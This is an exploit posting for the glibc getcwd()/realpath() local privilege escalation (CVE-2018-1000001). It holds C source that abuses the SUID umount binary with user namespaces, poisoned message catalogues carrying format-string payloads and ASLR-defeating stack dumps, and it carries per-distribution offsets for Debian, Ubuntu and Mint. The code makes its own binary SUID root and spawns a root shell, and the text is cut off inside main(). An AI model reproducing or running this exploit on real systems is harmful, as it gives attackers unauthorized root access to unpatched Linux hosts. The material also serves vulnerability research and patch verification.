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glibc getcwd() Local Privilege Escalation

glibc getcwd() Local Privilege Escalation
Posted Jan 18, 2018
Authored by halfdog

glibc suffers from a getcwd() local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2018-1000001
MD5 | e79c3ac4621ad3e8b1aa9ccefe2bfd86

glibc getcwd() Local Privilege Escalation

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/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
*
* This tool exploits a buffer underflow in glibc realpath()
* and was tested against latest release from Debian, Ubuntu
* Mint. It is intended as demonstration of ASLR-aware exploitation
* techniques. It uses relative binary offsets, that may be different
* for various Linux distributions and builds. Please send me
* a patch when you developed a new set of parameters to add
* to the osSpecificExploitDataList structure and want to contribute
* them.
*
* Compile: gcc -o RationalLove RationalLove.c
* Run: ./RationalLove
*
* You may also use "--Pid" parameter, if you want to test the
* program on already existing namespaced or chrooted mounts.
*/

#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <poll.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define UMOUNT_ENV_VAR_COUNT 256

/** Dump that number of bytes from stack to perform anti-ASLR.
* This number should be high enough to reproducible reach the
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
* environment variable references but low enough to avoid hitting
* upper stack limit, which would cause a crash.
*/
#define STACK_LONG_DUMP_BYTES 4096

char *messageCataloguePreamble="Language: en\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n";

/** The pid of a namespace process with the working directory
* at a writable /tmp only visible by the process. */
pid_t namespacedProcessPid=-1;

int killNamespacedProcessFlag=1;

/** The pathname to the umount binary to execute. */
char *umountPathname;

/** The pathname to the named pipe, that will synchronize umount
* binary with supervisory process before triggering the second
* and last exploitation phase.
*/
char *secondPhaseTriggerPipePathname;

/** The pathname to the second phase exploitation catalogue file.
* This is needed as the catalogue cannot be sent via the trigger
* pipe from above.
*/
char *secondPhaseCataloguePathname;

/** The OS-release detected via /etc/os-release. */
char *osRelease=NULL;

/** This table contains all relevant information to adapt the
* attack to supported Linux distros (fully updated) to support
* also older versions, hash of umount/libc/libmount should be
* used also for lookups.
* The 4th string is an array of 4-byte integers with the offset
* values for format string generation. Values specify:
* * Stack position (in 8 byte words) for **argv
* * Stack position of argv[0]
* * Offset from __libc_start_main return position from main()
* and system() function, first instruction after last sigprocmask()
* before execve call.
*/
#define ED_STACK_OFFSET_CTX 0
#define ED_STACK_OFFSET_ARGV 1
#define ED_STACK_OFFSET_ARG0 2
#define ED_LIBC_GETDATE_DELTA 3
#define ED_LIBC_EXECL_DELTA 4
static char* osSpecificExploitDataList[]={
// Debian Stretch
"\"9 (stretch)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"from_archive",
// Delta for Debian Stretch "2.24-11+deb9u1"
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
// Ubuntu Xenial libc=2.23-0ubuntu9
"\"16.04.3 LTS (Xenial Xerus)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"_nl_load_locale_from_archive",
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
"\"18.3 (Sylvia)\"",
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
"_nl_load_locale_from_archive",
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
NULL};

char **osReleaseExploitData=NULL;

/** Locate the umount binary within the given search path list,
* elements separated by colons.
* @return a pointer to a malloced memory region containing the
* string or NULL if not found.
*/
char* findUmountBinaryPathname(char *searchPath) {
char *testPathName=(char*)malloc(PATH_MAX);
assert(testPathName);

while(*searchPath) {
char *endPtr=strchr(searchPath, ':');
int length=endPtr-searchPath;
if(!endPtr) {
length=strlen(searchPath);
endPtr=searchPath+length-1;
}
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
searchPath, "umount");
if(result>=PATH_MAX) {
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
} else {
struct stat statBuf;
result=stat(testPathName, &statBuf);
// Just assume, that umount is owner-executable. There might be
// alternative ACLs, which grant umount execution only to selected
// groups, but it would be unusual to have different variants
// of umount located searchpath on the same host.
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
return(testPathName);
}
}
searchPath=endPtr+1;
}

free(testPathName);
return(NULL);
}


/** Get the value for a given field name.
* @return NULL if not found, a malloced string otherwise.
*/
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
int nameLength=strlen(fieldName);
while(dataLength>0) {
char *nextPos=memchr(releaseData, '\n', dataLength);
int lineLength=dataLength;
if(nextPos) {
lineLength=nextPos-releaseData;
nextPos++;
} else {
nextPos=releaseData+dataLength;
}
if((!strncmp(releaseData, fieldName, nameLength))&&
(releaseData[nameLength]=='=')) {
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
}
releaseData=nextPos;
dataLength-=lineLength;
}
return(NULL);
}


/** Detect the release by reading the VERSION field from /etc/os-release.
* @return 0 on success.
*/
int detectOsRelease() {
int handle=open("/etc/os-release", O_RDONLY);
if(handle<0)
return(-1);

char *buffer=alloca(1024);
int infoLength=read(handle, buffer, 1024);
close(handle);
if(infoLength<0)
return(-1);
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
if(!osRelease)
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
if(osRelease) {
fprintf(stderr, "Detected OS version: %s\n", osRelease);
return(0);
}

return(-1);
}


/** Create the catalogue data in memory.
* @return a pointer to newly allocated catalogue data memory
*/
char* createMessageCatalogueData(char **origStringList, char **transStringList,
int stringCount, int *catalogueDataLength) {
int contentLength=strlen(messageCataloguePreamble)+2;
for(int stringPos=0; stringPos<stringCount; stringPos++) {
contentLength+=strlen(origStringList[stringPos])+
strlen(transStringList[stringPos])+2;
}
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
char *catalogueData=(char*)malloc(preambleLength+contentLength);
memset(catalogueData, 0, preambleLength);
int *preambleData=(int*)catalogueData;
*preambleData++=0x950412de;
preambleData++;
*preambleData++=stringCount+1;
*preambleData++=0x1c;
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
*preambleData++=0x5;
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;

char *nextCatalogueStringStart=catalogueData+preambleLength;
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
char *writeString=(stringPos<0)?"":origStringList[stringPos];
int length=strlen(writeString);
*preambleData++=length;
*preambleData++=(nextCatalogueStringStart-catalogueData);
memcpy(nextCatalogueStringStart, writeString, length+1);
nextCatalogueStringStart+=length+1;
}
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
int length=strlen(writeString);
*preambleData++=length;
*preambleData++=(nextCatalogueStringStart-catalogueData);
memcpy(nextCatalogueStringStart, writeString, length+1);
nextCatalogueStringStart+=length+1;
}
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
// *preambleData++=(stringPos+1);
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
}
*catalogueDataLength=preambleLength+contentLength;
return(catalogueData);
}


/** Create the catalogue data from the string lists and write
* it to the given file.
* @return 0 on success.
*/
int writeMessageCatalogue(char *pathName, char **origStringList,
char **transStringList, int stringCount) {
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
if(catalogueFd<0) {
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
pathName);
return(-1);
}
int catalogueDataLength;
char *catalogueData=createMessageCatalogueData(
origStringList, transStringList, stringCount, &catalogueDataLength);
int result=write(catalogueFd, catalogueData, catalogueDataLength);
assert(result==catalogueDataLength);
close(catalogueFd);
free(catalogueData);
return(0);
}

void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
char pathBuffer[PATH_MAX];
int pathNameLength=0;
while(1) {
char *nextPathSep=strchr(pathName+pathNameLength, '/');
if(nextPathSep) {
pathNameLength=nextPathSep-pathName;
} else {
pathNameLength=strlen(pathName);
}
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
namespaceMountBaseDir, pathNameLength, pathName);
assert(result<PATH_MAX);
result=mkdir(pathBuffer, 0755);
assert((!result)||(errno==EEXIST));
if(!pathName[pathNameLength])
break;
pathNameLength++;
}
}


/** This child function prepares the namespaced mount point and
* then waits to be killed later on.
*/
static int usernsChildFunction() {
while(geteuid()!=0) {
sched_yield();
}
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
assert(!result);
assert(!chdir("/tmp"));
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
assert(handle>=0);
close(handle);
sleep(100000);
}

/** Prepare a process living in an own mount namespace and setup
* the mount structure appropriately. The process is created
* in a way allowing cleanup at program end by just killing it,
* thus removing the namespace.
* @return the pid of that process or -1 on error.
*/
pid_t prepareNamespacedProcess() {
if(namespacedProcessPid==-1) {
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");

char *stackData=(char*)malloc(1<<20);
assert(stackData);
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
if(namespacedProcessPid==-1) {
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
return(-1);
}

char idMapFileName[128];
char idMapData[128];
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
assert(setGroupsFd>=0);
int result=write(setGroupsFd, "deny", 4);
assert(result>0);
close(setGroupsFd);

sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
int uidMapFd=open(idMapFileName, O_WRONLY);
assert(uidMapFd>=0);
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
assert(result>0);
close(uidMapFd);

sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
int gidMapFd=open(idMapFileName, O_WRONLY);
assert(gidMapFd>=0);
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
assert(result>0);
close(gidMapFd);

// After setting the maps for the child process, the child may
// start setting up the mount point. Wait for that to complete.
sleep(1);
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
namespacedProcessPid);
}

osReleaseExploitData=osSpecificExploitDataList;
if(osRelease) {
// If an OS was detected, try to find it in list. Otherwise use
// default.
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
osReleaseExploitData=osSpecificExploitDataList+tPos;
break;
}
}
}

char pathBuffer[PATH_MAX];
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
namespacedProcessPid);
assert(result<PATH_MAX);
char *namespaceMountBaseDir=strdup(pathBuffer);
assert(namespaceMountBaseDir);

// Create directories needed for umount to proceed to final state
// "not mounted".
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
assert(result<PATH_MAX);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
result=snprintf(pathBuffer, sizeof(pathBuffer),
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);

// Create symlink to trigger underflows.
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
namespaceMountBaseDir);
assert(result<PATH_MAX);
result=symlink(osReleaseExploitData[1], pathBuffer);
assert(!result||(errno==EEXIST));

// getdate will leave that string in rdi to become the filename
// to execute for the next round.
char *selfPathName=realpath("/proc/self/exe", NULL);
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
namespaceMountBaseDir);
assert(result<PATH_MAX);
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
assert(handle>0);
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
selfPathName);
assert(result<PATH_MAX);
result=write(handle, pathBuffer, result);
close(handle);
free(selfPathName);

// Write the initial message catalogue to trigger stack dumping
// and to make the "umount" call privileged by toggling the "restricted"
// flag in the context.
result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);
assert(result<PATH_MAX);

char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
assert(stackDumpStr);
char *stackDumpStrEnd=stackDumpStr;
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
memcpy(stackDumpStrEnd, "%016lx", 6);
stackDumpStrEnd+=6;
}
// We wrote allready 8 bytes, write so many more to produce a
// count of 'L' and write that to the stack. As all writes so
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
// to write at least 4 bytes, which is longer than any "%hhx"
// format string output. Hence do not care about the byte content
// here. The target write address has a 16 byte alignment due
// to varg structure.
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
STACK_LONG_DUMP_BYTES/16);
*stackDumpStrEnd=0;
result=writeMessageCatalogue(pathBuffer,
(char*[]){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
},
(char*[]){"1234", stackDumpStr, "5678"},
3);
assert(!result);
free(stackDumpStr);

result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);
assert(result<PATH_MAX);
result=mknod(pathBuffer, S_IFIFO|0666, S_IFIFO);
assert((!result)||(errno==EEXIST));
secondPhaseTriggerPipePathname=strdup(pathBuffer);

result=snprintf(pathBuffer, sizeof(pathBuffer),
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
namespaceMountBaseDir, osReleaseExploitData[2]);
secondPhaseCataloguePathname=strdup(pathBuffer);

free(namespaceMountBaseDir);
return(namespacedProcessPid);
}



/** Create the format string to write an arbitrary value to the
* stack. The created format string avoids to interfere with
* the complex fprintf format handling logic by accessing fprintf
* internal state on stack. Thus the modification method does
* not depend on that ftp internals. The current libc fprintf
* implementation copies values for formatting before applying
* the %n writes, therefore pointers changed by fprintf operation
* can only be utilized with the next fprintf invocation. As
* we cannot rely on a stack having a suitable number of pointers
* ready for arbitrary writes, we need to create those pointers
* one by one. Everything needed is pointer on stack pointing
* to another valid pointer and 4 helper pointers pointing to
* writeable memory. The **argv list matches all those requirements.
* @param printfArgvValuePos the position of the argv pointer from
* printf format string view.
* @param argvStackAddress the address of the argv list, where
* the argv[0] pointer can be read.
* @param printfArg0ValuePos the position of argv list containing
* argv[0..n] pointers.
* @param mainFunctionReturnAddress the address on stack where
* the return address from the main() function to _libc_start()
* is stored.
* @param writeValue the value to write to mainFunctionReturnAddress
*/
void createStackWriteFormatString(
char *formatBuffer, int bufferSize, int printfArgvValuePos,
void *argvStackAddress, int printfArg0ValuePos,
void *mainFunctionReturnAddress, unsigned short *writeData,
int writeDataLength) {
int result=0;
int currentValue=-1;
for(int nextWriteValue=0; nextWriteValue<0x10000;) {
// Find the lowest value to write.
nextWriteValue=0x10000;
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
int value=writeData[valuePos];
if((value>currentValue)&&(value<nextWriteValue))
nextWriteValue=value;
}
if(currentValue<0)
currentValue=0;
if(currentValue!=nextWriteValue) {
result=snprintf(formatBuffer, bufferSize, "%%1$%1$d.%1$ds",
nextWriteValue-currentValue);
formatBuffer+=result;
bufferSize-=result;
currentValue=nextWriteValue;
}
for(int valuePos=0; valuePos<writeDataLength; valuePos++) {
if(writeData[valuePos]==nextWriteValue) {
result=snprintf(formatBuffer, bufferSize,
"%%%d$hn", printfArg0ValuePos+valuePos+1);
formatBuffer+=result;
bufferSize-=result;
}
}
}

// Print the return function address location number of bytes
// except 8 (those from the LABEL counter) and write the value
// to arg1.
int writeCount=((int)mainFunctionReturnAddress-18)&0xffff;
result=snprintf(formatBuffer, bufferSize,
"%%1$%d.%ds%%1$s%%1$s%%%d$hn",
writeCount, writeCount, printfArg0ValuePos);
formatBuffer+=result;
bufferSize-=result;

// Write the LABEL 6 more times, thus multiplying the the single
// byte write pointer to an 8-byte aligned argv-list pointer and
// update argv[0] to point to argv[1..n].
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
result=snprintf(formatBuffer, bufferSize,
"%%1$s%%1$s%%1$s%%1$s%%1$s%%1$s%%1$%d.%ds%%%d$hn",
writeCount, writeCount, printfArgvValuePos);
formatBuffer+=result;
bufferSize-=result;

// Append a debugging preamble.
result=snprintf(formatBuffer, bufferSize, "-%%35$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%%d$lx-%%78$s\n",
printfArgvValuePos, printfArg0ValuePos-1, printfArg0ValuePos,
printfArg0ValuePos+1, printfArg0ValuePos+2, printfArg0ValuePos+3,
printfArg0ValuePos+4, printfArg0ValuePos+5, printfArg0ValuePos+6);
formatBuffer+=result;
bufferSize-=result;
}


/** Wait for the trigger pipe to open. The pipe will be closed
* immediately after opening it.
* @return 0 when the pipe was opened before hitting a timeout.
*/
int waitForTriggerPipeOpen(char *pipeName) {
struct timespec startTime, currentTime;
int result=clock_gettime(CLOCK_MONOTONIC, &startTime);
startTime.tv_sec+=10;
assert(!result);
while(1) {
int pipeFd=open(pipeName, O_WRONLY|O_NONBLOCK);
if(pipeFd>=0) {
close(pipeFd);
break;
}
result=clock_gettime(CLOCK_MONOTONIC, &currentTime);
if(currentTime.tv_sec>startTime.tv_sec) {
return(-1);
}
currentTime.tv_sec=0;
currentTime.tv_nsec=100000000;
nanosleep(&currentTime, NULL);
}
return(0);
}


/** Invoke umount to gain root privileges.
* @return 0 if the umount process terminated with expected exit
* status.
*/
int attemptEscalation() {
int escalationSuccess=-1;

char targetCwd[64];
snprintf(
targetCwd, sizeof(targetCwd)-1, "/proc/%d/cwd", namespacedProcessPid);

int pipeFds[2];
int result=pipe(pipeFds);
assert(!result);

pid_t childPid=fork();
assert(childPid>=0);
if(!childPid) {
// This is the child process.
close(pipeFds[0]);
fprintf(stderr, "Starting subprocess\n");
dup2(pipeFds[1], 1);
dup2(pipeFds[1], 2);
close(pipeFds[1]);
result=chdir(targetCwd);
assert(!result);

// Create so many environment variables for a kind of "stack spraying".
int envCount=UMOUNT_ENV_VAR_COUNT;
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
assert(umountEnv);
umountEnv[envCount--]=NULL;
umountEnv[envCount--]="LC_ALL=C.UTF-8";
while(envCount>=0) {
umountEnv[envCount--]="AANGUAGE=X.X";
}
// Use the built-in C locale.
// Invoke umount first by overwriting heap downwards using links
// for "down", then retriggering another error message ("busy")
// with hopefully similar same stack layout for other path "/".
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
result=execve(umountArgs[0], umountArgs, umountEnv);
assert(!result);
}
close(pipeFds[1]);
int childStdout=pipeFds[0];

int escalationPhase=0;
char readBuffer[1024];
int readDataLength=0;
char stackData[STACK_LONG_DUMP_BYTES];
int stackDataBytes=0;

struct pollfd pollFdList[1];
pollFdList[0].fd=childStdout;
pollFdList[0].events=POLLIN;

// Now learn about the binary, prepare data for second exploitation
// phase. The phases should be:
// * 0: umount executes, glibc underflows and causes an util-linux.mo
// file to be read, that contains a poisonous format string.
// Successful poisoning results in writing of 8*'A' preamble,
// we are looking for to indicate end of this phase.
// * 1: The poisoned process writes out stack content to defeat
// ASLR. Reading all relevant stack end this phase.
// * 2: The poisoned process changes the "LANGUAGE" parameter,
// thus triggering re-read of util-linux.mo. To avoid races,
// we let umount open a named pipe, thus blocking execution.
// As soon as the pipe is ready for writing, we write a modified
// version of util-linux.mo to another file because the pipe
// cannot be used for sending the content.
// * 3: We read umount output to avoid blocking the process and
// wait for it to ROP execute fchown/fchmod and exit.
while(1) {
if(escalationPhase==2) {
// We cannot use the standard poll from below to monitor the pipe,
// but also we do not want to block forever. Wait for the pipe
// in nonblocking mode and then continue with next phase.
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
if(result) {
goto attemptEscalationCleanup;
}
escalationPhase++;
}

// Wait at most 10 seconds for IO.
result=poll(pollFdList, 1, 10000);
if(!result) {
// We ran into a timeout. This might be the result of a deadlocked
// child, so kill the child and retry.
fprintf(stderr, "Poll timed out\n");
goto attemptEscalationCleanup;
}
// Perform the IO operations without blocking.
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
result=read(
pollFdList[0].fd, readBuffer+readDataLength,
sizeof(readBuffer)-readDataLength);
if(!result) {
if(escalationPhase<3) {
// Child has closed the socket unexpectedly.
goto attemptEscalationCleanup;
}
break;
}
if(result<0) {
fprintf(stderr, "IO error talking to child\n");
goto attemptEscalationCleanup;
}
readDataLength+=result;

// Handle the data depending on escalation phase.
int moveLength=0;
switch(escalationPhase) {
case 0: // Initial sync: read A*8 preamble.
if(readDataLength<8)
continue;
char *preambleStart=memmem(readBuffer, readDataLength,
"AAAAAAAA", 8);
if(!preambleStart) {
// No preamble, move content only if buffer is full.
if(readDataLength==sizeof(readBuffer))
moveLength=readDataLength-7;
break;
}
// We found, what we are looking for. Start reading the stack.
escalationPhase++;
moveLength=preambleStart-readBuffer+8;
case 1: // Read the stack.
// Consume stack data until or local array is full.
while(moveLength+16<=readDataLength) {
result=sscanf(readBuffer+moveLength, "%016lx",
(int*)(stackData+stackDataBytes));
if(result!=1) {
// Scanning failed, the data injection procedure apparently did
// not work, so this escalation failed.
goto attemptEscalationCleanup;
}
moveLength+=sizeof(long)*2;
stackDataBytes+=sizeof(long);
// See if we reached end of stack dump already.
if(stackDataBytes==sizeof(stackData))
break;
}
if(stackDataBytes!=sizeof(stackData))
break;

// All data read, use it to prepare the content for the next phase.
fprintf(stderr, "Stack content received, calculating next phase\n");

int *exploitOffsets=(int*)osReleaseExploitData[3];

// This is the address, where source Pointer is pointing to.
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
// This is the stack address source for the target pointer.
void *sourcePointerLocation=sourcePointerTarget-0xd0;

void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
// This is the stack address of the libc start function return
// pointer.
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
sourcePointerLocation, sourcePointerTarget,
targetPointerTarget, libcStartFunctionReturnAddressSource);
// So the libcStartFunctionReturnAddressSource is the lowest address
// to manipulate, targetPointerTarget+...

void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
void *stackWriteData[]={
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
};
fprintf(stderr, "Changing return address from %p to %p, %p\n",
libcStartFunctionAddress, stackWriteData[0],
stackWriteData[1]);
escalationPhase++;

char *escalationString=(char*)malloc(1024);
createStackWriteFormatString(
escalationString, 1024,
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
sourcePointerTarget, // Base value to write
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
libcStartFunctionReturnAddressSource,
(unsigned short*)stackWriteData,
sizeof(stackWriteData)/sizeof(unsigned short)
);
fprintf(stderr, "Using escalation string %s", escalationString);

result=writeMessageCatalogue(
secondPhaseCataloguePathname,
(char*[]){
"%s: mountpoint not found",
"%s: not mounted",
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
},
(char*[]){
escalationString,
"BBBB5678%3$s\n",
"BBBBABCD%s\n"},
3);
assert(!result);
break;
case 2:
case 3:
// Wait for pipe connection and output any result from mount.
readDataLength=0;
break;
default:
fprintf(stderr, "Logic error, state %d\n", escalationPhase);
goto attemptEscalationCleanup;
}
if(moveLength) {
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
readDataLength-=moveLength;
}
}
}

attemptEscalationCleanup:
// Wait some time to avoid killing umount even when exploit was
// successful.
sleep(1);
close(childStdout);
// It is safe to kill the child as we did not wait for it to finish
// yet, so at least the zombie process is still here.
kill(childPid, SIGKILL);
pid_t waitedPid=waitpid(childPid, NULL, 0);
assert(waitedPid==childPid);

return(escalationSuccess);
}


/** This function invokes the shell specified via environment
* or the default shell "/bin/sh" when undefined. The function
* does not return on success.
* @return -1 on error
*/
int invokeShell(char *shellName) {
if(!shellName)
shellName=getenv("SHELL");
if(!shellName)
shellName="/bin/sh";
char* shellArgs[]={shellName, NULL};
execve(shellName, shellArgs, environ);
fprintf(stderr, "Failed to launch shell %s\n", shellName);
return(-1);
}

int main(int argc, char **argv) {
char *programmName=argv[0];
int exitStatus=1;

if(getuid()==0) {
fprintf(stderr, "%s: you are already root, invoking shell ...\n",
programmName);
invokeShell(NULL);
return(1);
}

if(geteuid()==0) {
struct stat statBuf;
int result=stat("/proc/self/exe", &statBuf);
assert(!result);
if(statBuf.st_uid||statBuf.st_gid) {
fprintf(stderr, "%s: internal invocation, setting SUID mode\n",
programmName);
int handle=open("/proc/self/exe", O_RDONLY);
fchown(handle, 0, 0);
fchmod(handle, 04755);
exit(0);
}

fprintf(stderr, "%s: invoked as SUID, invoking shell ...\n",
programmName);
setresgid(0, 0, 0);
setresuid(0, 0, 0);
invokeShell(NULL);
return(1);
}

for(int argPos=1; argPos<argc;) {
char *argName=argv[argPos++];
if(argPos==argc) {
fprintf(stderr, "%s requires parameter\n", argName);
return(1);
}
if(!strcmp("--Pid", argName)) {
char *endPtr;
namespacedProcessPid=strtoll(argv[argPos++], &endPtr, 10);
if((errno)||(*endPtr)) {
fprintf(stderr, "Invalid pid value\n");
return(1);
}
killNamespacedProcessFlag=0;
} else {
fprintf(stderr, "Unknown argument %s\n", argName);
return(1);
}
}

fprintf(stderr, "%s: setting up environment ...\n", programmName);

if(!osRelease) {
if(detectOsRelease()) {
fprintf(stderr, "Failed to detect OS version, continuing anyway\n");
}
}

umountPathname=findUmountBinaryPathname("/bin");
if((!umountPathname)&&(getenv("PATH")))
umountPathname=findUmountBinaryPathname(getenv("PATH"));
if(!umountPathname) {
fprintf(stderr, "Failed to locate \"umount\" binary, is PATH correct?\n");
goto preReturnCleanup;
}
fprintf(stderr, "%s: using umount at \"%s\".\n", programmName,
umountPathname);

pid_t nsPid=prepareNamespacedProcess();
if(nsPid<0) {
goto preReturnCleanup;
}

// Gaining root can still fail due to ASLR creating additional
// path separators in memory addresses residing in area to be
// overwritten by buffer underflow. Retry regaining until this
// executable changes uid/gid.
int escalateMaxAttempts=10;
int excalateCurrentAttempt=0;
while(excalateCurrentAttempt<escalateMaxAttempts) {
excalateCurrentAttempt++;
fprintf(stderr, "Attempting to gain root, try %d of %d ...\n",
excalateCurrentAttempt, escalateMaxAttempts);

attemptEscalation();

